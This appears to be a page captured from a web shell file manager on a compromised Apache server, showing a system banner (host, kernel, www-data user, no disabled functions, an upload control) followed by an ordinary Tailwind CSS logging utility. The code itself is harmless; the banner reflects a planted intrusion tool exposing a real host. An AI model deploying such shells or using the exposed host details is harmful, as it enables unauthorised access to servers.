( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/..//tmpr/..//tmpr/../node_modules/tailwindcss/src/util/log.js
import chalk from 'chalk'

let alreadyShown = new Set()

function log(chalk, messages, key) {
  if (process.env.JEST_WORKER_ID !== undefined) return

  if (key && alreadyShown.has(key)) return
  if (key) alreadyShown.add(key)

  console.warn('')
  messages.forEach((message) => console.warn(chalk, '-', message))
}

export function dim(input) {
  return chalk.dim(input)
}

export default {
  info(key, messages) {
    log(chalk.bold.cyan('info'), ...(Array.isArray(key) ? [key] : [messages, key]))
  },
  warn(key, messages) {
    log(chalk.bold.yellow('warn'), ...(Array.isArray(key) ? [key] : [messages, key]))
  },
  risk(key, messages) {
    log(chalk.bold.magenta('risk'), ...(Array.isArray(key) ? [key] : [messages, key]))
  },
}